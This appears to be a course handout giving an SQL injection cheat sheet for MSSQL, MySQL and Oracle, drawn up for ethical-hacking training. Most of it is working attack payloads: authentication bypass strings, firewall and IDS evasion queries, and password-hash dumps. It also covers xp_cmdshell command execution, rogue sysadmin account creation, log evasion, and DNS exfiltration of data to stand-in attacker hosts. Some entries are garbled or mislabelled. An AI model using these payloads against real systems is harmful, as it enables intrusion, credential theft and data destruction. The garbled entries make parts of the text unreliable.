



Ethical Hacking and Countermeasures

SQL Injection Cheat Sheet

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1. MSSQL Database

Query	Command
Version	<ul style="list-style-type: none">▪ SELECT @@VERSION; — This command obtains the OS/Windows version of the system.
List Users	<ul style="list-style-type: none">▪ SELECT name FROM master..syslogins; — This command lists the names of users from the table master..syslogins.
Current User	<ul style="list-style-type: none">▪ SELECT user_name(); — This command obtains a name of recently logged in user.▪ SELECT system_user; — This command obtains the current value of system_user.▪ SELECT user; — This command obtains the name of impersonated user.▪ SELECT loginname FROM master..sysprocesses WHERE spid = @@SPID; — This command obtains the column name loginname from table master..sysprocesses having spid=@@SPID.
List all Database	<ul style="list-style-type: none">▪ SELECT name FROM master..sysdatabases; — This command obtains the list of all the databases from database 'master..sysdatabases'.▪ SELECT DB_NAME(N); — This command obtains the DB_NAME present at N (Where N=0,1,2,3, ...).
Current Database	<ul style="list-style-type: none">▪ SELECT DB_NAME(); — This command obtains the current database.
List Tables	<ul style="list-style-type: none">▪ SELECT name FROM sysobjects WHERE xtype = 'U'; — This command obtains the column 'name' from table sysobjects having xtype value 'U'.
Column Names	<ul style="list-style-type: none">▪ SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames') — This command works only for reading current database's tables.▪ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND

	<p><i>master..sysobjects.name='sometable';</i> — This command works globally. But you should change the master with the DB name which holds the table you want to read the columns and change 'sometable' with the table name.</p>
Select Nth Row	<ul style="list-style-type: none"> ▪ <i>SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC;</i> — This command obtains 9th row.
Select Nth Char	<ul style="list-style-type: none"> ▪ <i>SELECT substring('abcd', 3, 1);</i> — This command returns c.
If Statement	<ul style="list-style-type: none"> ▪ <i>IF (1=1) SELECT 1 ELSE SELECT 2;</i> — This command returns 1.
Case Statement	<ul style="list-style-type: none"> ▪ <i>SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;</i> — This command returns 1.
Comments	<ul style="list-style-type: none"> ▪ <i>SELECT 1;</i> — This command is used for writing a comment. ▪ <i>SELECT /*comment*/1;</i> — This command is used to comment out a statement.
String without Quotes	<ul style="list-style-type: none"> ▪ <i>SELECT CHAR(75)+CHAR(76)+CHAR(77);</i> — This command returns 'KLM'.
Time Delay	<ul style="list-style-type: none"> ▪ <i>WAITFOR DELAY '0:0:5';</i> — This command is used to pause for 5 seconds.
Command Execution	<ul style="list-style-type: none"> ▪ <i>EXEC xp_cmdshell</i> ▪ <i>'net user';</i> — privOn MSSQL 2005, and you may need to reactivate xp_cmdshell first as it's disabled by default: <i>EXEC sp_configure 'show advanced options', 1; — priv</i> <i>RECONFIGURE; — priv</i> <i>EXEC sp_configure 'xp_cmdshell', 1; — priv</i> <i>RECONFIGURE; — priv</i>
Make DNS Requests	<ul style="list-style-type: none"> ▪ <i>declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails "' + @host + 'c\$boot.ini'");</i> — These commands are used to make DNS request. ▪ <i>declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbinto hexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist "' + @host + 'c\$boot.ini'');</i>

	<p>— These commands are used to make DNS request.</p> <p>— NB: Concatenation is not allowed in calls to these SPs, hence you have to use @host.</p>
Bypassing Login Screens	<p>SQL Injection, Login tricks</p> <ul style="list-style-type: none"> ▪ <i>admin' --</i> ▪ <i>admin' #</i> ▪ <i>admin'/*</i> ▪ <i>' or 1=1—</i> ▪ <i>' or 1=1#</i> ▪ <i>' or 1=1/*</i> ▪ <i>) or '1'='1—</i> ▪ <i>) or ('1'='1--</i>
Bypassing Admin Panel of a Website	<p>Malicious input used to bypass authentication</p> <ul style="list-style-type: none"> ▪ <i>' or 1=1 --</i> ▪ <i>1'or'1'='1</i> ▪ <i>admin'--</i> ▪ <i>" or 0=0 --</i> ▪ <i>or 0=0 --</i> ▪ <i>' or 0=0 #</i> ▪ <i>" or 0=0 #</i> ▪ <i>or 0=0 #</i> ▪ <i>' or 'x'='x</i> ▪ <i>" or "x"="x</i> ▪ <i>) or ('x'='x</i> ▪ <i>' or 1=1--</i> ▪ <i>" or 1=1--</i> ▪ <i>or 1=1--</i>
Bypassing Firewall	<p>Malicious query using normalization method to bypass firewall</p> <ul style="list-style-type: none"> ▪ <i>/?id=1/*union*/union/*select*/select+1,2,3/*</i> <p>Malicious query using HPP technique to bypass firewall</p> <ul style="list-style-type: none"> ▪ <i>/?id=1;select+1&id=2,3+from+users+where+id=1—</i> <p>Malicious query using HPF technique to bypass firewall</p> <ul style="list-style-type: none"> ▪ <i>/?a=1+union/*&b=*/select+1,2</i> ▪ <i>/?a=1+union/*&b=*/select+1,pass/*&c=*/ from+users—</i> <p>Malicious query using blind SQL injection to bypass firewall</p> <ul style="list-style-type: none"> ▪ <i>/?id=1+OR+0x50=0x50</i>

	<ul style="list-style-type: none"> <code>/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74</code> <p>Malicious query using signature bypass method to bypass firewall</p> <ul style="list-style-type: none"> <code>/?id=1+union+(select+'xz'from+xxx)</code> <code>/?id=(1)union(select(1),mid(hash,1,32)from(users))</code> <code>/?id=1+union+(select'1',concat(login,hash)from+users)</code> <code>/?id=(1)union(((((((select(1),hex(hash)from(users))))))))</code> <code>/?id=xx(1)or(0x50=0x50)</code> <p>Malicious query using buffer overflow method to bypass firewall</p> <ul style="list-style-type: none"> <code>?page_id=null%0A/**/!50000%55n!On*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4...</code>
Database Enumeration	<p>Malicious query to enumerate different databases in the server</p> <ul style="list-style-type: none"> <code>' and 1 in (select min(name) from master.dbo.sysdatabases where name >'.') –</code> <p>Malicious query to enumerate different file locations in the databases</p> <ul style="list-style-type: none"> <code>' and 1 in (select min(filename) from master.dbo.sysdatabases where filename >'.') –</code>
Tables and Columns Enumeration in one Query	<p>Malicious query to enumerate tables and columns in the database</p> <ul style="list-style-type: none"> <code>' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --</code>
Bypassing Second MD5 Hash Check Login Screens	<p>If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.</p> <p>Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)</p>
Stacked Query	<ul style="list-style-type: none"> <code>ProductID=1; DROP members--</code>
Union Injections	<ul style="list-style-type: none"> <code>SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members</code> <p>— With union you can do SQL queries cross-table. Basically, you can poison query to return records from another table. This above example will combine results from both news table and members</p>

	<p>table and return all of them.</p> <ul style="list-style-type: none"> Another Example: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
Log in as Admin User	<ul style="list-style-type: none"> DROP sampletable;-- DROP sampletable;# Username: admin'-- SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' <p>— Using this command, you can log in as admin user.</p>
List Passwords	<ul style="list-style-type: none"> SELECT name, password FROM master..sysxlogins; — This command obtains the columns 'name' and 'password' from the table 'master..sysxlogins'. It works only in MSSQL 2000. SELECT name, password_hash FROM master.sys.sql_logins; — This command obtains the columns 'name' and 'password_hash' from the table 'master.sys.sql_logins'. It works only in MSSQL 2005.
List Password Hashes	<ul style="list-style-type: none"> SELECT name, password FROM master..sysxlogins — This command obtains the columns 'name' and 'password' from the table 'master..sysxlogins'. — priv, mssql 2000. SELECT name, master.dbo.fn_varbinto hexstr(password) FROM master..sysxlogins — This command obtains the columns 'name' and 'master.dbo.fn_varbinto hexstr(password)' from the table 'master..sysxlogins'. — priv, mssql 2000, Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins — This command obtains the columns 'name' and 'password_hash' from the table 'master.sys.sql_logins'. — priv, mssql 2005. SELECT name + '-' + master.sys.fn_varbinto hexstr(password_hash) from master.sys.sql_logins — This command obtains the columns 'name + '-' + master.sys.fn_varbinto hexstr(password_hash)' from the table 'master.sys.sql_logins'. — priv, mssql 2005.

Password Grabbing	<p>Malicious code to grab the passwords</p> <ul style="list-style-type: none"> <code>'; begin declare @var varchar(8000)</code> <code>set @var=': select @var=@var+' +login+'/' +password+' ' from</code> <code>users where login>@var select @var as var into temp end --</code> <code>' and 1 in (select var from temp) --</code> <code>'; drop table temp --</code>
Covering Tracks	<p>SQL Server don't log queries which includes sp_password for security reasons(!). So, if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)</p>
Bulk Insert	<p>Insert a file content to a table. If you don't know internal path of web application, you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.</p> <p>Create table foo(line varchar(8000)); bulk insert foo from 'c:\inetpub\wwwroot\login.asp'; Drop temp table; and repeat for another file</p>
Create Users	<ul style="list-style-type: none"> EXEC sp_addlogin 'user', 'pass'; — This command creates a new SQL Server login where username is 'user' and password is 'pass'.
Drop User	<ul style="list-style-type: none"> EXEC sp_droplogin 'user'; — This command drops a username = 'user' from SQL Server login.
Make User DBA	<ul style="list-style-type: none"> EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin'; — This command makes a 'user' DBA.
Create DB Accounts	<p>Malicious command used to create the database accounts</p> <ul style="list-style-type: none"> exec sp_addlogin 'name', 'password' exec sp_addsrvrolemember 'name', 'sysadmin'
Discover DB Structure	<ul style="list-style-type: none"> ' group by columnnames having 1=1 -- — malicious query used to determine table and column names ' union select sum(columnname) from tablename -- — malicious query used to discover column name types ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- malicious query used to enumerate user defined tables
Local File Access	<ul style="list-style-type: none"> CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:\boot.ini'; DROP TABLE mydata;

	— This command is used to gain Local File Access.
Hostname, IP Address	<ul style="list-style-type: none"> ▪ <i>SELECT HOST_NAME();</i> — This command obtains the Hostname and IP address of a system.
Error Based SQLi attack: To throw Conversion Errors	<ul style="list-style-type: none"> ▪ For integer inputs: <i>convert(int,@@version);</i> ▪ For string inputs: <i>' + convert(int,@@version) +';</i>
Clear SQLi Tests: For Boolean SQL Injection and Silent Attacks	<ul style="list-style-type: none"> ▪ <i>product.asp?id=4;</i> ▪ <i>product.asp?id=5-1;</i> ▪ <i>product.asp?id=4 OR 1=1;</i> — These commands can be used as tests for Boolean SQL injection and silent attacks.
Error Messages	<ul style="list-style-type: none"> ▪ <i>SELECT * FROM master..sysmessages;</i> — This command retrieves all the errors messages present in the SQL server.
Server Name and Configuration	<p>Malicious Query to retrieve server name and configuration in a network</p> <ul style="list-style-type: none"> ▪ <i>' and 1 in (select @@servername)--</i> ▪ <i>' and 1 in (select servername from sys.servers)--</i>
Linked Servers	<ul style="list-style-type: none"> ▪ <i>SELECT * FROM master..sys.servers;</i> — This command retrieves all the Linked Servers.
IDS Signature Evasion	<p>Examples for evading 'OR 1=1 signature:</p> <ul style="list-style-type: none"> ▪ <i>OR 'john' = 'john'</i> ▪ <i>' OR 'microsoft' = 'micro'+ 'soft'</i> ▪ <i>' OR 'movies' = N'movies'</i> ▪ <i>' OR 'software' like 'soft%'</i> ▪ <i>' OR 7 > 1</i> ▪ <i>' OR 'best' > 'b'</i> ▪ <i>' OR 'whatever' IN ('whatever')</i> ▪ <i>' OR 5 BETWEEN 1 AND 7</i>
IDS Signature Evasion using Comments	<p>Malicious SQL queries to evade IDS signatures using comments are as follows:</p> <ul style="list-style-type: none"> ▪ <i>'/**/OR/**/1/**/=/**/1</i> ▪ <i>Username:' or 1/*</i>

	<ul style="list-style-type: none"> ▪ Password:*/=1-- ▪ UNI/**/ON SEL/**/ECT ▪ (MS SQL) ' '; EXEC ('SEL' + 'ECT US' + 'ER')
Time Based SQLi Exploitation	<ul style="list-style-type: none"> ▪ ?vulnerableParam=1;DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(({INJECTION}),1,1));IF @x=100 SET @w='0:0:14' ELSE SET @w='0:0:01';WAITFOR DELAY @w-- {INJECTION} = You want to run the query. — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second.
Out of Band Channel	<ul style="list-style-type: none"> ▪ ?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECT})+'.yourhost.com','sa','pwd', 'SELECT 1'); — This command makes DNS resolution request to {INJECT}.yourhost.com. ▪ ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\'+({INJECT})+'.yourhost.com\test.txt'; EXEC master..xp_dirtree @q — This command makes DNS resolution request to {INJECT}.yourhost.com. — {INJECTION} = You want to run the query.
Default Databases	<ul style="list-style-type: none"> ▪ Northwind ▪ Model ▪ Sdb ▪ pubs — not on sql server 2005 ▪ tempdb
Creating Database Accounts	<p>Malicious command used to create database accounts</p> <ul style="list-style-type: none"> ▪ exec sp_addlogin 'victor', 'Pass123' ▪ exec sp_addsrvrolemember 'victor', 'sysadmin'
Path of DB files	<ul style="list-style-type: none"> ▪ %PROGRAM_FILES%\Microsoft SQL Server\MSSQL.1\MSSQL\Data\
Location of DB Files	<ul style="list-style-type: none"> ▪ EXEC sp_helpdb master; — This command retrieves the location of master.mdf. ▪ EXEC sp_helpdb pubs; — This command retrieves the location of pubs.mdf.
Privileges	<p>Current privs on a particular object in 2005, 2008</p> <ul style="list-style-type: none"> ▪ SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE'); — This command returns a column name 'permission_name' from

	<p>the table 'master..fn_my_permissions' where securable is set to 'null' and securable_class permission is set to current 'DATABASE'.</p> <ul style="list-style-type: none">▪ <i>SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER');</i> — This command returns a column name 'permission_name' from the table 'master..fn_my_permissions' where securable is set to 'null' and securable_class permission is set to current 'SERVER'.▪ <i>SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT');</i> — This command returns a column name 'permission_name' from the table 'master..fn_my_permissions' where securable is set to 'master..syslogins' and securable_class permission is set to current 'OBJECT'.▪ <i>SELECT permission_name FROM master..fn_my_permissions('sa', 'USER');</i> — This command returns a column name 'permission_name' from the table 'master..fn_my_permissions' where securable is set to 'sa' and securable_class permissions are set on a 'USER'. — current privs in 2005, 2008▪ <i>SELECT is_srvrolemember('sysadmin');</i> — This command determines whether a current has 'sysadmin' privilege.▪ <i>SELECT is_srvrolemember('dbcreator');</i> — This command determines whether a current has 'dbcreator' privilege.▪ <i>SELECT is_srvrolemember('bulkadmin');</i> — This command determines whether a current has 'bulkadmin' privilege.▪ <i>SELECT is_srvrolemember('diskadmin');</i> — This command determines whether a current has 'diskadmin' privilege.▪ <i>SELECT is_srvrolemember('processadmin');</i> — This command determines whether a current has 'processadmin' privilege.▪ <i>SELECT is_srvrolemember('serveradmin');</i> — This command determines whether a current has 'serveradmin' privilege.▪ <i>SELECT is_srvrolemember('setupadmin');</i> — This command determines whether a current has 'setupadmin'
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- ***SELECT is_srvrolemember('securityadmin');***
— This command determines whether a current has 'securityadmin' privilege.
- ***SELECT name FROM master..syslogins WHERE denylogin = 0;***
— This command obtains column name 'name' from table master..syslogins having denylogin value as 0.
- ***SELECT name FROM master..syslogins WHERE hasaccess = 1;***
— This command obtains column name 'name' from table master..syslogins having hasaccess value as 1.
- ***SELECT name FROM master..syslogins WHERE isntname = 0;***
— This command obtains column name 'name' from table master..syslogins having isntname value as 0.
- ***SELECT name FROM master..syslogins WHERE isntgroup = 0;***
— This command obtains column name 'name' from table master..syslogins having isntgroup value as 0.
- ***SELECT name FROM master..syslogins WHERE sysadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having sysadmin value as 1.
- ***SELECT name FROM master..syslogins WHERE securityadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having securityadmin value as 1.
- ***SELECT name FROM master..syslogins WHERE serveradmin = 1;***
— This command obtains column name 'name' from table master..syslogins having serveradmin value as 1.
- ***SELECT name FROM master..syslogins WHERE setupadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having setupadmin value as 1.
- ***SELECT name FROM master..syslogins WHERE processadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having processadmin value as 1.
- ***SELECT name FROM master..syslogins WHERE diskadmin = 1;***
— This command obtains column name 'name' from table master..syslogins having diskadmin value as 1.
- ***SELECT name FROM master..syslogins WHERE dbcreator = 1;***
— This command obtains column name 'name' from table master..syslogins having dbcreator value as 1.
- ***SELECT name FROM master..syslogins WHERE bulkadmin = 1;***

	— This command obtains column name 'name' from table master..syslogins having bulkadmin value as 1.
Identify User Level Privilege	<p>These are the commands that has several SQL built-in scalar functions that can work in SQL implementations</p> <ul style="list-style-type: none">▪ <i>user or current_user, session_user, system_user</i>▪ <i>' and 1 in (select user) --</i>▪ <i>'; if user = 'dbo' waitfor delay '0:0:5' --</i>▪ <i>' union select if(user() like 'root@%', benchmark(50000,sha1('test')), 'false');</i>

2. MySQL Database

Query	Command
Version	<ul style="list-style-type: none"> ▪ SELECT @@VERSION; — This command retrieves the system information of the current installation of SQL Server. ▪ SELECT version(); — This command selects the specific version of a Server.
OS Interaction	<p>Malicious query used to interact with a target OS</p> <ul style="list-style-type: none"> ▪ ' union select 1,load_file('/etc/passwd'),1,1,1; <p>Malicious commands used to interact with a target OS</p> <ul style="list-style-type: none"> ▪ CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll'; ▪ CREATE FUNCTION sys_eval RETURNS string SONAME 'libudffmwgj.dll';
List Users	<ul style="list-style-type: none"> ▪ SELECT user FROM mysql.user; — This command lists the column 'user' from the table 'mysql.user'.
Current User	<ul style="list-style-type: none"> ▪ SELECT user(); — This command obtains the current MySQL user name and hostname. ▪ SELECT system_user(); — This command obtains the current value of system_user.
Creating Database Accounts	<p>Malicious query used to create database accounts</p> <p>Example:</p> <ul style="list-style-type: none"> ▪ INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123'))
List all Database	<ul style="list-style-type: none"> ▪ SELECT schema_name FROM information_schema.schemata; <i>for MySQL >= v5.0</i> — This command obtains a column name 'schema_name' having a list of databases from the table 'schemata table'. ▪ SELECT distinct(db) FROM mysql.db; — priv
Current Database	<ul style="list-style-type: none"> ▪ SELECT database(); — This command obtains the current MySQL database.
Input Validation Circumvention using Char()	<ul style="list-style-type: none"> ▪ ' or username like char(37); — This command is used to inject without quotes (string = "%") ▪ ' union select * from users where login = char(114,111,111,116); — This command is used to inject with quotes (string="root") ▪ ' union select

	<p>1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; — This command is used to load files in unions (string = "/etc/passwd")</p> <p>▪ ' and 1=(if((load_file(char(110,46,101,120,116)))<>char(39,39)),1,0)); — This command is used to check for existing files (string = "n.ext")</p>
List Tables	<p>▪ SELECT table_name FROM information_schema.tables WHERE table_schema = 'tblUsers' — This command obtains the column name 'table_name' from the table 'information_schema.tables' having table_schema value 'tblUsers'. tblUsers -> tablename</p>
Column Names	<p>▪ SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tblUsers' — This command obtains the columns name 'table_name' and 'column_name' from the table 'information_schema.tables' having table_schema value 'tblUsers'. tblUsers -> tablename</p> <p>▪ SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; — This command obtains the columns name 'table_name' and 'column_name' from the table 'information_schema.tables' having table_schema value 'username'.</p>
Select Nth Row	<p>▪ SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; — This command returns rows numbered from 0.</p> <p>▪ SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; — This command returns rows numbered from 0.</p>
Select Nth Char	<p>▪ SELECT substr('abcd', 3, 1); — This command returns c.</p>
If Statement	<p>▪ SELECT if(1=1,'foo','bar'); — returns 'foo'</p>
Case Statement	<p>▪ SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; — This command returns A.</p>
Comments	<p>▪ SELECT 1; #comment — This command is used for writing a comment.</p> <p>▪ SELECT /*comment*/1; — This command is used comment out a statement.</p>

String without Quotes	<ul style="list-style-type: none"> ▪ <i>SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))</i> — This command returns 'KLM'.
Time Delay	<ul style="list-style-type: none"> ▪ <i>SELECT BENCHMARK(1000000,MD5('A'));</i> <i>SELECT SLEEP(5);</i> -- >= 5.0.12 — This command triggers a measurable time delay.
Command Execution	<p>If mysql (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.</p>
DNS Exfiltration	<p>Malicious query used to extract data like password hashes from DNS request</p> <ul style="list-style-type: none"> ▪ <i>select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));</i> ▪ <i>select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))</i>
Load File	<ul style="list-style-type: none"> ▪ <i>' UNION ALL SELECT LOAD_FILE('/etc/passwd') --</i> <i>SELECT LOAD_FILE(0x633A5C626F6742E696E69)</i> — This command will show the content of c:\boot.ini.
Log in as Admin User	<ul style="list-style-type: none"> ▪ <i>DROP sampletable;--</i> ▪ <i>DROP sampletable;#</i> <i>Username : admin'--</i> <i>: admin' or '1'='1'--</i> <i>SELECT * FROM members WHERE \$username = 'admin'--' AND \$password = 'password'</i> — This command lists all the users from the column 'members' having \$username value as 'admin' and \$password value as 'password'.
List Passwords	<ul style="list-style-type: none"> ▪ <i>SELECT user, password FROM mysql.user;</i> — This command retrieves the columns 'user' and 'password' from the table 'mysql.user'. ▪ <i>SELECT user, password FROM mysql.user LIMIT 1,1;</i> — This command retrieves the columns 'user' and 'password' from the table 'mysql.user' with LIMIT 1,1. ▪ <i>SELECT password FROM mysql.user WHERE user = 'root';</i> — This command retrieves the column 'password' from the table 'mysql.user' having user value as 'root'.

List Password Hashes	<ul style="list-style-type: none"> ▪ <i>SELECT host, user, password FROM mysql.user;</i> — This command lists columns 'host', 'user' and 'password' from the table 'mysql.user'.
Bulk Insert	<ul style="list-style-type: none"> ▪ <i>SELECT * FROM mytable INTO dumpfile '/tmp/somefile';</i> — This command is used to insert a file content to a table.
Create Users	<ul style="list-style-type: none"> ▪ <i>CREATE USER username IDENTIFIED BY 'password';</i> — This command creates a username 'USER' who authenticates by password to log on to the database.
Create DB Accounts	<ul style="list-style-type: none"> ▪ <i>INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))</i>
Drop User	<ul style="list-style-type: none"> ▪ <i>DROP USER username;</i> — This command drops a username 'USER' from the table.
Make User DBA	<ul style="list-style-type: none"> ▪ <i>GRANT ALL PRIVILEGES ON *.* TO username@'%';</i> — This command grants DBA privileges to a user.
Local File Access	<ul style="list-style-type: none"> ▪ <i>...' UNION ALL SELECT LOAD_FILE('/etc/passwd')</i> — This command allows you to only read world-readable files. ▪ <i>SELECT * FROM mytable INTO dumpfile '/tmp/somefile';</i> — This command allows you to write to file system.
Hostname, IP Address	<ul style="list-style-type: none"> ▪ <i>SELECT @@hostname;</i> — This command obtains the Hostname and IP address of a system.
Error Based SQLi Attack: To throw Conversion Errors	<ul style="list-style-type: none"> ▪ <i>(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1));</i> — This command is used to receive integer inputs. ▪ <i>'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+';</i> — This command is used to receive string inputs.
Clear SQLi Tests: For Boolean SQL Injection and Silent Attacks	<ul style="list-style-type: none"> ▪ <i>product.php?id=4</i> ▪ <i>product.php?id=5-1</i> ▪ <i>product.php?id=4 OR 1=1</i> ▪ <i>product.php?id=-1 OR 17-7=10</i> — These commands can be used to test for Boolean SQL injection and silent attacks.

Blind SQL Injection (Time Based)	<ul style="list-style-type: none"> ▪ SLEEP(25)-- SELECT BENCHMARK(1000000,MD5('A')); ▪ ProductID=1 OR SLEEP(25)=0 LIMIT 1— ▪ ProductID=1) OR SLEEP(25)=0 LIMIT 1-- ▪ ProductID=1' OR SLEEP(25)=0 LIMIT 1— ▪ ProductID=1') OR SLEEP(25)=0 LIMIT 1-- ▪ ProductID=1)) OR SLEEP(25)=0 LIMIT 1— ▪ ProductID=SELECT SLEEP(25)— — These commands trigger a measurable time delay.
Time base SQLi Exploitation	<ul style="list-style-type: none"> ▪ ?vulnerableParam=-99 OR IF((ASCII(MID(({INJECTION}),1,1)) = 100),SLEEP(14),1) = 0 LIMIT 1— {INJECTION} = You want to run the query. — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second.
Out of Band Channel	<ul style="list-style-type: none"> ▪ ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}), 'yourhost.com\\\\'))); — This command makes a NBNS query request/DNS resolution request to yourhost.com. ▪ ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt'); — This command writes data to your shared folder/file. {INJECTION} = You want to run the query.
Default Databases	<ul style="list-style-type: none"> ▪ information_schema (>= mysql 5.0) ▪ mysql
Path of DB Files	<ul style="list-style-type: none"> ▪ SELECT @@datadir C:\AppServ\MySQL\data\
Location of DB Files	<ul style="list-style-type: none"> ▪ SELECT @@datadir; — This command obtains the location of DB files.
Privileges	<ul style="list-style-type: none"> ▪ SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — This command lists list user privileges. ▪ SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — This command lists list various types of privileges.

	<ul style="list-style-type: none">▪ <i>list user privs</i><i>SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges;</i><ul style="list-style-type: none">— This command lists privileges on databases (schemas).▪ <i>SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges;</i><ul style="list-style-type: none">— This command lists privileges on columns.
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3. Oracle Database

Query	Command
Version	<ul style="list-style-type: none"> ▪ <i>SELECT banner FROM v\$version WHERE banner LIKE 'Oracle%';</i> — This command obtains oracle version and build information. ▪ <i>SELECT version FROM v\$instance;</i> — This command displays the current database information such as host name, status, startup time, etc.
List Users	<ul style="list-style-type: none"> ▪ <i>SELECT username FROM all_users ORDER BY username;</i> — This command obtains column 'username' from the table 'all_users' and sort it by username. ▪ <i>SELECT name FROM sys.user\$;</i> — This command obtains column 'name' from table 'sys.user\$'.
Current User	<ul style="list-style-type: none"> ▪ <i>SELECT user FROM dual</i> — This command obtains current user from the table 'dual'.
List all Database	<ul style="list-style-type: none"> ▪ <i>SELECT DISTINCT owner FROM all_tables;</i> — This command lists schemas (one per user). — Also queries TNS listener for other databases. See tnscmd (services status).
Create DB Accounts	<p>This command is used to create database accounts</p> <ul style="list-style-type: none"> ▪ <i>CREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO victor; GRANT RESOURCE TO victor;</i>
Current Database	<ul style="list-style-type: none"> ▪ <i>SELECT global_name FROM global_name;</i> — This command obtains current user from global_name. ▪ <i>SELECT name FROM v\$database;</i> — This command obtains current username from column 'name', present in the table 'v\$database'. ▪ <i>SELECT instance_name FROM v\$instance;</i> — This command obtains column 'instance_name' from the table 'v\$instance'. ▪ <i>SELECT SYS.DATABASE_NAME FROM DUAL;</i> — This command obtains database name 'SYS.DATABASE' from the table 'DUAL'.

List Tables	<ul style="list-style-type: none"> ▪ <i>SELECT table_name FROM all_tables;</i> — This command obtains column 'table_name' from the table 'all_tables'. ▪ <i>SELECT owner, table_name FROM all_tables;</i> — This command obtains columns 'owner' and 'table_name' from the table 'all_tables'.
Column Names	<ul style="list-style-type: none"> ▪ <i>SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';</i> — This command obtains column 'column_name' from the table 'all_tab_columns' having value of 'table_name' as 'blah'. ▪ <i>SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo'</i> — This command obtains column 'column_name' from the table 'all_tab_columns' having value of 'table_name' as 'blah' and value of owner as 'foo'.
Select Nth Row	<ul style="list-style-type: none"> ▪ <i>SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9;</i> — This command retrieves 9th row (rows numbered from 1).
Select Nth Char	<ul style="list-style-type: none"> ▪ <i>SELECT substr('abcd', 3, 1) FROM dual;</i> — This command retrieves gets 3rd character, 'c'.
If Statement	<ul style="list-style-type: none"> ▪ <i>BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;</i> — If the condition is true then a time delay is triggered and if the condition is false time delay is not triggered. — This command does not work well for SELECT statements.
